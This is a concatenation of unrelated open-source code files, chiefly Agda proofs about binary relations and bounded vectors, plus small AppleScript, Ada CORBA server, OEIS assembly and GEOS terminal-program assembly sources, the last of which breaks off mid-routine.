<filename>Cubical/Relation/Binary/Raw/Properties.agda {-# OPTIONS --cubical --no-import-sorts --safe #-} module Cubical.Relation.Binary.Raw.Properties where open import Cubical.Core.Everything open import Cubical.Foundations.Prelude open import Cubical.Foundations.Function using (_∘_; _$_; flip; id) open import Cubical.Relation.Binary.Base open import Cubical.Relation.Binary.Raw.Definitions open import Cubical.Relation.Nullary.Decidable open import Cubical.Data.Maybe using (just; nothing; Dec→Maybe; map-Maybe) open import Cubical.Data.Sum.Base as Sum using (inl; inr) open import Cubical.Data.Prod.Base using (_,_) open import Cubical.Data.Empty using (⊥; isProp⊥) renaming (elim to ⊥-elim) open import Cubical.HITs.PropositionalTruncation private variable a b ℓ ℓ₁ ℓ₂ ℓ₃ p : Level A : Type a B : Type b ------------------------------------------------------------------------ -- Equality properties ≡Reflexive : Reflexive (Path A) ≡Reflexive = refl ≡Symmetric : Symmetric (Path A) ≡Symmetric = sym ≡Transitive : Transitive (Path A) ≡Transitive = _∙_ ≡Substitutive : Substitutive (Path A) ℓ ≡Substitutive P = subst P ------------------------------------------------------------------------ -- Implication properties ⇒-refl : Reflexive (_⇒_ {A = A} {B = A} {ℓ = ℓ}) ⇒-refl = id ⇒-trans : Trans (_⇒_ {A = A} {B = B} {ℓ = ℓ₁} {ℓ′ = ℓ₂}) (_⇒_ {ℓ′ = ℓ₃}) _⇒_ -- Transitive _⇒_ ⇒-trans f g x = g (f x) ------------------------------------------------------------------------ -- Substitutive properties module _ (_∼_ : RawRel A ℓ₁) (P : RawRel A p) where subst→respˡ : Substitutive _∼_ p → P Respectsˡ _∼_ subst→respˡ subst {y} x′∼x Px′y = subst (flip P y) x′∼x Px′y subst→respʳ : Substitutive _∼_ p → P Respectsʳ _∼_ subst→respʳ subst {x} y′∼y Pxy′ = subst (P x) y′∼y Pxy′ subst→resp₂ : Substitutive _∼_ p → P Respects₂ _∼_ subst→resp₂ subst = subst→respʳ subst , subst→respˡ subst module _ (_∼_ : RawRel A ℓ) (P : A → Type p) where P-resp→¬P-resp : Symmetric _∼_ → P Respects _∼_ → (¬_ ∘ P) Respects _∼_ P-resp→¬P-resp sym resp x∼y ¬Px Py = ¬Px (resp (sym x∼y) Py) Respectsʳ≡ : (_∼_ : RawRel A ℓ) → _∼_ Respectsʳ _≡_ Respectsʳ≡ _∼_ = subst→respʳ _≡_ _∼_ ≡Substitutive Respectsˡ≡ : (_∼_ : RawRel A ℓ) → _∼_ Respectsˡ _≡_ Respectsˡ≡ _∼_ = subst→respˡ _≡_ _∼_ ≡Substitutive Respects₂≡ : (_∼_ : RawRel A ℓ) → _∼_ Respects₂ _≡_ Respects₂≡ _∼_ = subst→resp₂ _≡_ _∼_ ≡Substitutive ------------------------------------------------------------------------ -- Proofs for non-strict orders module _ (_≤_ : RawRel A ℓ) where total→FromEq : Total _≤_ → FromEq _≤_ total→FromEq total {x} {y} x≡y with total x y ... | inl x∼y = x∼y ... | inr y∼x = Respectsʳ≡ _≤_ x≡y (Respectsˡ≡ _≤_ (sym x≡y) y∼x) total∧dec→dec : FromEq _≤_ → Antisymmetric _≤_ → Total _≤_ → Discrete A → Decidable _≤_ total∧dec→dec reflx antisym total _≟_ x y with total x y ... | inl x≤y = yes x≤y ... | inr y≤x = mapDec reflx (flip antisym y≤x) (x ≟ y) where mapDec : ∀ {A : Type a} {B : Type b} → (A → B) → (B → A) → Dec A → Dec B mapDec f g (yes x) = yes (f x) mapDec f g (no ¬x) = no (¬x ∘ g) ------------------------------------------------------------------------ -- Proofs for strict orders module _ (_<_ : RawRel A ℓ) where trans∧irr→asym : Transitive _<_ → Irreflexive _<_ → Asymmetric _<_ trans∧irr→asym transitive irrefl x<y y<x = irrefl (transitive x<y y<x) irr∧antisym→asym : Irreflexive _<_ → Antisymmetric _<_ → Asymmetric _<_ irr∧antisym→asym irrefl antisym x<y y<x = irrefl→tonoteq irrefl x<y (antisym x<y y<x) where irrefl→tonoteq : Irreflexive _<_ → ToNotEq _<_ irrefl→tonoteq irrefl {x} {y} x<y x≡y = irrefl (subst (λ z → x < z) (sym x≡y) x<y) asym→antisym : Asymmetric _<_ → Antisymmetric _<_ asym→antisym asym x<y y<x = ⊥-elim (asym x<y y<x) asym→irr : Asymmetric _<_ → Irreflexive _<_ asym→irr asym {x} x<x = asym x<x x<x tri→asym : Trichotomous _<_ → Asymmetric _<_ tri→asym compare {x} {y} x<y x>y with compare x y ... | tri< _ _ x≯y = x≯y x>y ... | tri≡ _ _ x≯y = x≯y x>y ... | tri> x≮y _ _ = x≮y x<y tri→irr : Trichotomous _<_ → Irreflexive _<_ tri→irr compare {x} x<x with compare x x ... | tri< _ _ x≮x = x≮x x<x ... | tri≡ _ _ x≮x = x≮x x<x ... | tri> x≮x _ _ = x≮x x<x tri→dec≡ : Trichotomous _<_ → Discrete A tri→dec≡ compare x y with compare x y ... | tri< _ x≢y _ = no x≢y ... | tri≡ _ x≡y _ = yes x≡y ... | tri> _ x≢y _ = no x≢y tri→dec< : Trichotomous _<_ → Decidable _<_ tri→dec< compare x y with compare x y ... | tri< x<y _ _ = yes x<y ... | tri≡ x≮y _ _ = no x≮y ... | tri> x≮y _ _ = no x≮y ------------------------------------------------------------------------ -- Without Loss of Generality module _ {_R_ : RawRel A ℓ₁} {Q : RawRel A ℓ₂} where wlog : Total _R_ → Symmetric Q → (∀ a b → a R b → Q a b) → ∀ a b → Q a b wlog r-total q-sym prf a b with r-total a b ... | inl aRb = prf a b aRb ... | inr bRa = q-sym (prf b a bRa) ------------------------------------------------------------------------ -- Other proofs module _ {P : RawREL A B p} where dec→weaklyDec : Decidable P → WeaklyDecidable P dec→weaklyDec dec x y = Dec→Maybe (dec x y) module _ {P : RawRel A ℓ₁} {Q : RawRel A ℓ₂} (f : P ⇒ Q) where map-Reflexive : Reflexive P → Reflexive Q map-Reflexive reflx = f reflx map-FromEq : FromEq P → FromEq Q map-FromEq fromEq p = f (fromEq p) cmap-Irreflexive : Irreflexive Q → Irreflexive P cmap-Irreflexive irrefl x≡x = irrefl (f x≡x) cmap-ToNotEq : ToNotEq Q → ToNotEq P cmap-ToNotEq toNotEq x = toNotEq (f x) module _ {P : RawREL A B ℓ₁} {Q : RawREL A B ℓ₂} (f : P ⇒ Q) where map-Universal : Universal P → Universal Q map-Universal u x y = f (u x y) map-NonEmpty : NonEmpty P → NonEmpty Q map-NonEmpty = map (λ (x , p) → (x , map (λ (y , q) → y , f q) p) ) module _ {P : RawREL A B ℓ₁} {Q : RawREL B A ℓ₂} where flip-Connex : Connex P Q → Connex Q P flip-Connex f x y = Sum.swap (f y x) module _ (_∼_ : RawRel A ℓ) where reflx→fromeq : Reflexive _∼_ → FromEq _∼_ reflx→fromeq reflx {x} = J (λ z _ → x ∼ z) reflx fromeq→reflx : FromEq _∼_ → Reflexive _∼_ fromeq→reflx fromEq = fromEq refl irrefl→tonoteq : Irreflexive _∼_ → ToNotEq _∼_ irrefl→tonoteq irrefl {x} {y} x<y x≡y = irrefl (subst (λ z → x ∼ z) (sym x≡y) x<y) tonoteq→irrefl : ToNotEq _∼_ → Irreflexive _∼_ tonoteq→irrefl toNotEq x<x = toNotEq x<x refl
text/padWithSuffix.applescript
adriannier/applescript-functions
7
2488
<filename>text/padWithSuffix.applescript (* Pads a text to the desired width by using the specified suffix. Should the text contain multiple paragraphs, each paragraph will be padded separately. *) log padWithSuffix("@", 7, "-") log padWithSuffix("Lots of" & return & "space to" & return & "the right", 20, " ") on padWithSuffix(aText, newWidth, aSuffix) if (count of paragraphs of aText) > 1 then set nl to ASCII character 10 -- Pad lines individually set newParagraphs to {} repeat with i from 1 to count of paragraphs of aText set end of newParagraphs to padWithSuffix(paragraph i of aText, newWidth, aSuffix) end repeat -- Join lines set prvDlmt to text item delimiters set text item delimiters to nl set aText to newParagraphs as text set text item delimiters to prvDlmt else -- Pad text to new width repeat newWidth - (count of aText) times set aText to aText & aSuffix end repeat end if return aText end padWithSuffix
Cubical/HITs/InfNat/Base.agda
dan-iel-lee/cubical
0
5426
{-# OPTIONS --cubical --no-import-sorts --no-exact-split --safe #-} module Cubical.HITs.InfNat.Base where open import Cubical.Core.Everything open import Cubical.Data.Maybe open import Cubical.Data.Nat open import Cubical.Foundations.Prelude open import Cubical.Foundations.Isomorphism data ℕ+∞ : Type₀ where zero : ℕ+∞ suc : ℕ+∞ → ℕ+∞ ∞ : ℕ+∞ suc-inf : ∞ ≡ suc ∞
test/asset/agda-stdlib-1.0/Data/BoundedVec/Inefficient.agda
omega12345/agda-mode
0
6851
<gh_stars>0 ------------------------------------------------------------------------ -- The Agda standard library -- -- Bounded vectors (inefficient, concrete implementation) ------------------------------------------------------------------------ -- Vectors of a specified maximum length. {-# OPTIONS --without-K --safe #-} module Data.BoundedVec.Inefficient where open import Data.Nat.Base open import Data.List.Base ------------------------------------------------------------------------ -- The type infixr 5 _∷_ data BoundedVec {a} (A : Set a) : ℕ → Set a where [] : ∀ {n} → BoundedVec A n _∷_ : ∀ {n} (x : A) (xs : BoundedVec A n) → BoundedVec A (suc n) ------------------------------------------------------------------------ -- Increasing the bound -- Note that this operation is linear in the length of the list. ↑ : ∀ {a n} {A : Set a} → BoundedVec A n → BoundedVec A (suc n) ↑ [] = [] ↑ (x ∷ xs) = x ∷ ↑ xs ------------------------------------------------------------------------ -- Conversions fromList : ∀ {a} {A : Set a} → (xs : List A) → BoundedVec A (length xs) fromList [] = [] fromList (x ∷ xs) = x ∷ fromList xs toList : ∀ {a n} {A : Set a} → BoundedVec A n → List A toList [] = [] toList (x ∷ xs) = x ∷ toList xs
Assembly/FBas/Globals.asm
detlefgrohs/C256-Foenix-FMX
0
22704
TEXT_COLOR = $20 SOURCE: .NULL "Label:", 13, "var1 = 100", 13, "var2 = 'test'" ;"Label: symbol = 'test'", 13, "Goto 100" NOT_CHAR_MSG: .NULL "Not a character" CHAR_MSG: .NULL "Character" NON_PRINTABLE_CHAR: .NULL "'?'" SOURCE_POS: .WORD ? COMPARE_TEMP: .BYTE ? CURRENT_CHAR: .BYTE ?
programs/oeis/017/A017170.asm
neoneye/loda
22
28818
<reponame>neoneye/loda<gh_stars>10-100 ; A017170: a(n) = (9*n)^10. ; 0,3486784401,3570467226624,205891132094649,3656158440062976,34050628916015625,210832519264920576,984930291881790849,3743906242624487424,12157665459056928801,34867844010000000000,90438207500880449001,215892499727278669824,480682838924478847449,1008568618886953829376,2010655586861806640625,3833759992447475122176,7029336084596720096049,12449449430074295092224,21377706189197971362201,35704672266240000000000,58159148805327867842601,92608724480901579777024,144445313087602911489249,221073919720733357899776,332525673007965087890625,492219227058666339787776,717897987691852588770249,1032774265740240721281024,1466915418459008596964601,2058911320946490000000000,2857867125663008313285201,3925770232266214525108224,5340285714719489633060049,7198040150627041378354176,9618459881658113759765625,12748236216396078174437376,16766496980638930547173449,21890771137738722674893824,28383840955651551463016001,36561584400629760000000000,46801919102576812739496801,59554968376655736670823424,75354579412446914492199849,94831333868443217691672576,118727201748602820322265625,147912000601705381364990976,183401833786028468140265649,226379693794030958489370624,278218429446951548637196401,340506289160156250000000000,415075266459351724951597401,504032488508074331942682624,609794903600820667615148649,735127539396457050900734976,883185620125785634775390625,1057560848118006498591768576,1262332172765951010966606849,1502121388502024803291751424,1782153922498441700301585801,2108325192649205760000000000,2487272936950060023861107001,2926455936678920512804045824,3434239577805805268237746449,4019988717840603673710821376,4694168348871863744619140625,5468452571872757384253490176,6355842422464168617446357049,7370793114242090371434676224,8529351292509864320528664201,9849302918817908490000000000,11350332435117101568509945601,13054193885589584050623873024,14984894704345047264737433249,17168892908174264880305611776,19635308465447330474853515625,22416149645044452019091275776,25546555182924872550789276249,29065053138587188698128385024,33013837349264677924257311601,37439062426244874240000000000,42391158275216203514294433201,47925165161038656245244724224,54101090376822890581865249049,60984287617695474350923186176,68645860201139844687978515625,77163089318345640440012645376,86619888544585998642162724449,97107285881285854916272717824,108723934648156901437468808001,121576654590569288010000000000,135781004615219054628389289801,151461888616146310517750759424,168754195903274977891177833849,187803477796893151375632024576,208766662003886439083994140625,231812806445087701493115518976,257123894257828042469059661649,284895671753678385804489114624,315338531168471143342562833401 pow $0,10 mul $0,3486784401
Ada/server/src/server.adb
FredPraca/distributed_cbsg
4
18356
<gh_stars>1-10 with Ada.Exceptions; with Ada.Text_IO; use Ada.Text_IO; with CORBA.Impl; with CORBA.Object; with CORBA.ORB; with PortableServer.POA.Helper; with PortableServer.POAManager; with CorbaCBSG.CBSG.Impl; with PolyORB.CORBA_P.CORBALOC; -- Allow to specify how PolyORB should work with PolyORB.Setup.No_Tasking_Server; pragma Warnings (Off, PolyORB.Setup.No_Tasking_Server); procedure Server is begin declare -- Allow to get the parameters according to the CORBA Standard -- For example, InitialRef Argv : CORBA.ORB.Arg_List := CORBA.ORB.Command_Line_Arguments; begin -- Init of our bus named ORB CORBA.ORB.Init (CORBA.ORB.To_CORBA_String ("ORB"), Argv); declare -- The PortableObjectAdapter is the place we "store" our objects Root_POA : PortableServer.POA.Local_Ref; -- We declare a reference to our distributed object Ref : CORBA.Object.Ref; -- And its implementation Obj : constant CORBA.Impl.Object_Ptr := new CorbaCBSG.CBSG.Impl.Object; begin -- We get the root POA of our bus -- It's a CORBA interface, so note the use of CORBA String instead of Ada ones -- We then resolve it to an object reference Root_POA := PortableServer.POA.Helper.To_Local_Ref (CORBA.ORB.Resolve_Initial_References (CORBA.ORB.To_CORBA_String ("RootPOA"))); -- We start our POA (in fact, the top-level one) PortableServer.POAManager.Activate (PortableServer.POA.Get_The_POAManager (Root_POA)); -- We create a reference on our object (the servant) to expose it to the outside world Ref := PortableServer.POA.Servant_To_Reference (Root_POA, PortableServer.Servant (Obj)); -- And we display its address, the IOR. Put_Line ("'" & CORBA.To_Standard_String (CORBA.Object.Object_To_String (Ref)) & "'"); New_Line; -- And its shorter version, the corbaloc -- unfortunately, corbaloc is not supported by every ORB implementation Put_Line ("'" & CORBA.To_Standard_String (PolyORB.CORBA_P.CORBALOC.Object_To_Corbaloc (Ref)) & "'"); -- Launch the server. CORBA.ORB.Run is supposed to never return, -- print a message if it does. CORBA.ORB.Run; Put_Line ("ORB main loop terminated!"); end; end; exception -- Of course, we display a message in case of exception when E : others => Put_Line ("CBSG server raised " & Ada.Exceptions.Exception_Information (E)); raise; end Server;
Appl/Term/Main/dove.asm
steakknife/pcgeos
504
177764
<filename>Appl/Term/Main/dove.asm<gh_stars>100-1000 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1996 -- All Rights Reserved PROJECT: MODULE: FILE: dove.asm AUTHOR: <NAME>, Aug 6, 1996 ROUTINES: Name Description ---- ----------- ClearStringBuffer clears string buffer, filling it with ' ' char (BLANK_CHAR) GetOrdinalityFromTable given an identifier and offset to table, returns the identifier's ordinality ; ---------------------------------------------------------------------- ; Buttons! Buttons! ; ---------------------------------------------------------------------- MSG_TERM_CONNECT_BUTTON_HIT handles when connect button in main window is hit. MSG_TERM_CANCEL_BUTTON_HIT Flushes current IAPL and Access Point data from record buffer. Then calls up connection setting dialog. MSG_TERM_CONNECT_OK_BUTTON_HIT runs the script to connect ; ---------------------------------------------------------------------- ; GenDynamicList update routines ; ---------------------------------------------------------------------- MSG_TERM_UPDATE_NETWORK_NAME_LIST query messages from Network service dynamic lists call this to update text items. MSG_TERM_UPDATE_ACCESS_POINT_LIST updates gendynamic list calls for an access point. Note that this operates relative to the offset of the record number in AccessPointOffset. If NO_ACCESS_POINT, then no access points are available. ; ---------------------------------------------------------------------- ; Dialog Activation Routines ; ---------------------------------------------------------------------- ActivateConnectionConfirm sets selection to current network service MSG_TERM_ACTIVATE_CONNECTION_CONFIRM calls ActivateConnectionConfirm ActivateConnectionSetting sets up appropriate children triggers and brings up connection confirm dialog. MSG_TERM_ACTIVATE_CONNECTION_SETTING calls ActivateConnectionSetting ActivateNetworkSelection sets up appropriate children triggers and brings up network selection dialog. MSG_TERM_ACTIVATE_NETWORK_SELECTION_CHANGE calls ActivateNetworkSelection and sets up appropriate text selection. Uses IAPL entry in record buffer. MSG_TERM_ACTIVATE_NETWORK_SELECTION_NEW calls ActivateNetworkSelection and clears text entry. Creates new record in record buffer (discarding old if any). MSG_TERM_INITIALIZE_NETWORK_ELEMENT loads the proper set of access points for current record, and calls up network element dialog. MSG_TERM_ACTIVATE_SET_KEY_MACRO calls update for 3.8, and brings up dialog 3.6 MSG_TERM_ACTIVATE_SET_TERMINAL sets up fields of set terminal (dialog 3.7) and then activates the dialog. MSG_TERM_ACTIVATE_CONFIRM_SAVE sets up cofirm save data details field and brings up dialog 3.8 ; ---------------------------------------------------------------------- ; Dialog & UI update routines ; ---------------------------------------------------------------------- UpdateConnectionDialog updates the fields in the connection confirm/setting dialog. UpdateSetTerminal sets the fields in the set terminal dialog ResetSetNumItems resets and sets new numItems count for genDynamicList GetServiceAccessPointCount returns the number of access points for this service UpdateNetworkElementFields updates fields in network element box (3.5) to correspond to information from that access point UpdateNetworkIDPasswd updates network ID and passwd fields ClearNetworkElementFields used to clear text objects in network element dialog UpdateConfirmSaveDataFields update confirm save data dialog info fields from current info in global memory (not access point). UpdateConfirmSaveDetails updates the fields for Connection Save Data AP (details), dialog 3.9. ; ---------------------------------------------------------------------- ; String processing routines ; ---------------------------------------------------------------------- ProcessBufferIntoPassword given a string length (in terms of characters), places the equivalent string blatted out with '*' in StringBuffer. StringBufferCharCount returns the # of characters up to and including NULL in StringBuffer. If max elements reached, returns max elements. ProcessNameMoniker concatenates service name and access point into one name ; ---------------------------------------------------------------------- ; Set Terminal Routines ; ---------------------------------------------------------------------- MSG_TERM_SET_NETWORK_SELECTION sets current network selection to selected value and updates text field to match selection of dynamic list in dialog 3.4 if blank MSG_TERM_SET_IAPL_SELECTION calls SetCurrIAPLSelection SetCurrIAPLSelection Given selection #, loads that IAPL record into the buffer, closing old accpt datastore and opening new one corresonding to its service. MSG_TERM_SET_ACCESS_POINT Given accpt record in buffer, sets CurrentAccessPoint and loads that accpt record into the buffer, discarding previous record if any. MSG_TERM_SAVE_ACCESS_POINT commits changes to access point datastore SetDataByteItem sets the bits for a given selection in a given data byte MSG_TERM_SET_KANJI_CODE sets the Kanji code sleection in PFKbyte MSG_TERM_DOVE_SET_BAUD_RATE sets data byte then calls main handler to set baud rate MSG_TERM_DOVE_SET_DATA_BIT sets data byte then calls main handler to set data bit ; ---------------------------------------------------------------------- ; Variable Query Handler ; ---------------------------------------------------------------------- TermGetVariable gets string corresponding to variable. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/ 6/96 Initial revision DESCRIPTION: Dove specific routines for managing the UI movement and access points using datastore. $Id: dove.asm,v 1.1 97/04/04 16:55:30 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ idata segment ProtectedGenTextClass ; class declaration idata ends udata segment IAPLDsToken word ; Inform of Access Points List data ; store token. AccessPointDsToken word ; access point data store token StringBuffer byte 64 dup (0); buffer for strings ; offset in access point list and existing # of access points AccessPointCount word ; # of existing access points for ; the current network service ; current selections CurrentIAPLSelection byte ; index # CurrentAccessPoint word ; index # ; whether or not to write to history buffer (flag) LogHistoryFlag byte ; used to internally determine ; whether or not the history is ; currently being written or not. WriteHistoryBufferFlag byte ; Logging history, should write to ; file or not? (based on user button ; preference). KBDToggleFlag byte ; new creation flags NewIAPLRecordFlag byte ; keeps track of whether or not ; creating a new IAPL record. NewAccPtRecordFlag byte ; keeps track of whether or not a ; new access point has been created. ; This needed since only one access ; point can be created per UI sequence. ; access point file valid flag AccPtValidFlag byte ; keeps track of whether or not an ; access point ds session is open or ; not. ; state information. All changes are made here until commit is ; sent, then these are saved to datastore. ; why even use these if all these are kept in record buffer? ; just call commit on record buffer on save, otherwise discarded as ; usual. ; Should not since we can have several datastores open at once, with ; the record buffer potentially overwritten several times. NetworkPassword byte 30 dup (0) NetworkPasswordLength word ; length of network password BSDMbyte byte PFKbyte byte CTbyte byte udata ends ; strings used in this portion IAPLString wchar "Information of Access Points",0 ; Network services strings PCVANString wchar "PC-VAN",0 NiftyServeString wchar "Nifty-Serve",0 ASCIINETString wchar "ASCII-NET",0 PeopleString wchar "People",0 OtherString wchar "Other",0 AccessPointString wchar "Access Point",0 ;NOTE: localize this! TelephoneNumberString wchar "Telephone Number",0 ;/* **************************************** ; Settings strings ;**************************************** */ ;/* stop bit monikers */ OneStopBitText wchar "1",0 OnePtFiveStopBitText wchar "1.5",0 TwoStopBitText wchar "2",0 ;/* data bit Texts */ FiveDataBitText wchar "5",0 SixDataBitText wchar "6",0 SevenDataBitText wchar "7",0 EightDataBitText wchar "8",0 ;/* parity Texts */ NoParityText wchar "None",0 OddParityText wchar "Odd",0 EvenParityText wchar "Even",0 SpaceParityText wchar "Space",0 MarkParityText wchar "Mark",0 ;/* Flow control Texts */ FlowHardwareText wchar "Hardware",0 FlowSoftwareText wchar "Software",0 FlowNoneText wchar "None",0 ;/* Baud rate Texts */ Baud38400Text wchar "38400",0 Baud19200Text wchar "19200",0 Baud9600Text wchar "9600",0 Baud4800Text wchar "4800",0 Baud2400Text wchar "2400",0 Baud1200Text wchar "1200",0 Baud300Text wchar "300",0 ;/* Combo Box History Method Texts */ ;AutomaticText wchar "Automatic",0 ;ManualText wchar "Manual",0 ;/* Kanji Font Text */ ShiftJISText wchar "Shift JIS",0 JISText wchar "JIS",0 OldJISText wchar "Old JIS",0 NECText wchar "NEC",0 EUCText wchar "EUC",0 ;Terminal StringTables TTYText wchar "TTY",0 ANSIText wchar "ANSI",0 WYSE50Text wchar "WYSE50",0 VT52Text wchar "VT52",0 VT100Text wchar "VT100",0 IBM3101Text wchar "IBM3101",0 TVI950Text wchar "TVI950",0 ; Tables used for grabbing identifiers and their order baudIdentifierTable word SB_300, SB_1200, SB_2400, SB_4800, SB_9600, SB_19200, SB_38400 dataBitsIdentifierTable word (SL_5BITS shl offset SF_LENGTH) or (mask SF_LENGTH shl 8),(SL_6BITS shl offset SF_LENGTH) or (mask SF_LENGTH shl 8),(SL_7BITS shl offset SF_LENGTH) or (mask SF_LENGTH shl 8),(SL_8BITS shl offset SF_LENGTH) or (mask SF_LENGTH shl 8) stopBitsIdentifierTable word SBO_ONE, SBO_ONEANDHALF, SBO_TWO parityBitsIdentifierTable word (SP_NONE shl offset SF_PARITY) or (mask SF_PARITY shl 8),(SP_ODD shl offset SF_PARITY) or (mask SF_PARITY shl 8),(SP_EVEN shl offset SF_PARITY) or (mask SF_PARITY shl 8),(SP_MARK shl offset SF_PARITY) or (mask SF_PARITY shl 8),(SP_SPACE shl offset SF_PARITY) or (mask SF_PARITY shl 8) flowIdentifierTable word mask FFB_NONE, mask SFC_HARDWARE, mask SFC_SOFTWARE terminalTypeIdentifierTable word TTY, ANSI, WYSE50, VT52, VT100, IBM3101, TVI950 kanjiFontIdentifierTable word CODE_PAGE_SJIS, CODE_PAGE_JIS, CODE_PAGE_EUC ; Tables for grabbing offsets to strings used stopBitStringTable word offset OneStopBitText, offset OnePtFiveStopBitText, offset TwoStopBitText dataBitStringTable word offset FiveDataBitText, offset SixDataBitText, offset SevenDataBitText, offset EightDataBitText parityStringTable word offset NoParityText, offset OddParityText, offset EvenParityText, offset MarkParityText, offset SpaceParityText flowStringTable word offset FlowNoneText, offset FlowHardwareText, offset FlowSoftwareText baudStringTable word offset Baud300Text, offset Baud1200Text, offset Baud2400Text, offset Baud4800Text, offset Baud9600Text, offset Baud19200Text, offset Baud38400Text ;comboBoxStringTable word offset AutomaticText, ManualText terminalStringTable word TTYText, offset ANSIText, offset WYSE50Text, offset VT52Text, offset VT100Text, offset IBM3101Text, offset TVI950Text kanjiFontStringTable word offset ShiftJISText, offset JISText, offset OldJISText, offset NECText, offset EUCText networkServiceNameTable word offset PCVANString, offset NiftyServeString,offset ASCIINETString, offset PeopleString, offset OtherString ; ---------------------------------------------------------------------- ; ; Utility Routines ; ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ClearStringBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: clears string buffer, filling it with ' ' char CALLED BY: various PASS: none RETURN: none DESTROYED: nothing SIDE EFFECTS: clears string buffer, filling it with ' ' char PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ClearStringBuffer proc near uses ax,cx,di,ds,di,bp .enter mov cx, segment dgroup mov ds, cx ; set segment mov di, offset StringBuffer ; get offset of buffer if DBCS_PCGEOS clr cx string_buffer_erase_loop: mov {byte} ds:[di], BLANK_CHAR ; blank character inc di mov {byte} ds:[di], BLANK_CHAR_HIGH ; zero inc di add cx, 2 cmp cx, STRING_BUFFER_SIZE jnz string_buffer_erase_loop else ; clear string buffer first cld ; left to right mov ax, BLANK_CHAR ; clear buffer mov cx, STRING_BUFFER_SIZE rep stosb endif ; DBCS .leave ret ClearStringBuffer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetOrdinalityFromTable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: given an identifier and offset to table, returns the identifier's ordinality. CALLED BY: thse suckers below PASS: di = offset to table cx = identifier to match RETURN: cx = # in sequence (0 based) DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: given an offset to the table and an identifier, this searches the table and returns the ordinality. This is presuming that the user is intelligent enough to present an identifier that is on the proper table. If cannot find, it exits with last item. NOTE: the comparisons are word based. *** also need to place in ability to detect no matches *** REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/ 6/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetOrdinalityFromTable proc near uses ax,bx,di,bp .enter clr ax ; counter get_ordinality_loop: mov bx, cs:[di] ; store word in table cmp bx, cx ; compare to identifier je exit_get_ordinality ; item not found, increment and continue inc ax add di, 2 ; increment by word size jmp get_ordinality_loop exit_get_ordinality: mov cx, ax ; return # in cx .leave ret GetOrdinalityFromTable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermCloseNetworkDatastore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: closes datastores CALLED BY: MSG_TERM_CLOSE_NETWORK_DATASTORE PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/ 9/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermCloseNetworkDatastore method dynamic TermClass, MSG_TERM_CLOSE_NETWORK_DATASTORE uses ax, cx, dx, bp .enter .leave ret TTermCloseNetworkDatastore endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TermConnectButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_CONNECT_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ds = dgroup ax = message # RETURN: DESTROYED: si, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: If an access point is currently selected, this calls the routine to bring up and initialize the Connection Confirm (3.2 in spec) dialog. If an access point is not selected, this calls up the Network Selection (3.4) dialog box initialization routine. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/ 6/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;TestString wchar "TestString",0 TermConnectButtonHit method dynamic TermClass, MSG_TERM_CONNECT_BUTTON_HIT uses ax, cx, dx, bp .enter ; open port if necessary mov cx, DOVE_COM_PORT dec cx call TermSetPort jcxz exit_term_connect_button_hit mov es:[AccPtValidFlag],INVALID ; no access point ; records open ; discard old IAPL selection mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard old AccessPoint selection mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord call OpenIAPLDataStore ; check to see if any connection records- if not, create new one mov ax, es:[IAPLDsToken] call DataStoreGetRecordCount cmp ax, 0 jne get_selection_term_connect_button_hit ; create new IAPL record and bring up Network selection mov bx, ds:[termProcHandle] mov ax, MSG_TERM_ACTIVATE_NETWORK_SELECTION_NEW mov di, mask MF_FORCE_QUEUE call ObjMessage jmp exit_term_connect_button_hit ; check to see which selection is selected by ; ConnectionConfirmAccessPointName, load that record and its ; service, along with its first access 